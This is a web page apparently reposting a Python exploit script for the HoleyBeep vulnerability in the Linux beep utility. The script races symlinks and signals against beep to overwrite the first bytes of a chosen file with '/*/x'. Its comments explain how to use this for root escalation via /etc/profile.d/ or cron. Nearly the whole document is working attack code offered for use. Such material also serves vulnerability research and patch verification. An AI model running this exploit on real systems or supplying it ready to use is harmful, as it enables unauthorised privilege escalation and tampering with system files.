扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 |
#!/usr/bin/env python3 # # E-DB Note ~ https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8/ec853f14afd6e86fb3f2efce2086e28f33039ddc # E-DB Note ~ https://sigint.sh/#/holeybeep # # This is an exploit for HoleyBeep. # # To use it, place any command you want root to execute in <code>/tmp/x</code>. #<code></code><code> #$ cat /tmp/x #echo PWNED $(whoami) #</code><code> # The exploit takes a path to write to (the file must already exist) and rewrites its first bytes to /*/x. This means that if it's a shell script, it will execute /tmp/x as its first and only command. # # To gain root access, the idea is to use the exploit to overwrite any file in /etc/profile.d/ so it will execute /*/x on the next login, possibly as the root user. # # Variants are possible using cron instead of the shell, so you don't have to wait until root logs in. # import argparse import shutil import os import subprocess import time import signal import ntpath TMP_PATH="beep_exploit" def backup_output(path): backup_path = ntpath.basename(path + ".bak") if os.path.isfile(path): shutil.copy(path, backup_path) print('Backup made at \'{}\''.format(backup_path)) def main(): parser = argparse.ArgumentParser(description='Holey beep exploit script.') parser.add_argument('output', metavar='OUTPUT', help='the output file to corrupt') parser.add_argument('--path', default="/usr/bin/beep", help='path to beep') parser.add_argument('--time-low', default=6000, type=int, help='time to wait (micro-seconds), lower bound') parser.add_argument('--time-high', default=6900, type=int, help='time to wait (micro-seconds), higher bound') parser.add_argument('--no-backup', action='store_true', help='doesn\'t backup the output file') args = parser.parse_args() if not args.no_backup: backup_output(args.output) devnull = open("/dev/null") timer = args.time_low while True: # Create original symlink try: os.remove(TMP_PATH) except OSError: pass os.symlink("/dev/input/event0", TMP_PATH) # Open subprocess p = subprocess.Popen([args.path,"--device", TMP_PATH, "-l", "1", "-n", "-l", "2016356911"], stderr=devnull) time.sleep(timer/2 / 1000000.0) # Replace symlink try: os.remove(TMP_PATH) except OSError: pass os.symlink(args.output, TMP_PATH) time.sleep(timer/2 / 1000000.0) # Trigger SIGINT os.kill(p.pid, signal.SIGINT) # Kill process if it's sill alive time.sleep(200.0 / 1000000.0) os.kill(p.pid, signal.SIGKILL) # Verify result with open(args.output, 'rb') as f: data = f.read(4) if data == b'/*/x': print("Done!") break timer += 1 if timer > args.time_high: timer = args.time_low if __name__ == '__main__': main() |
体验盒子
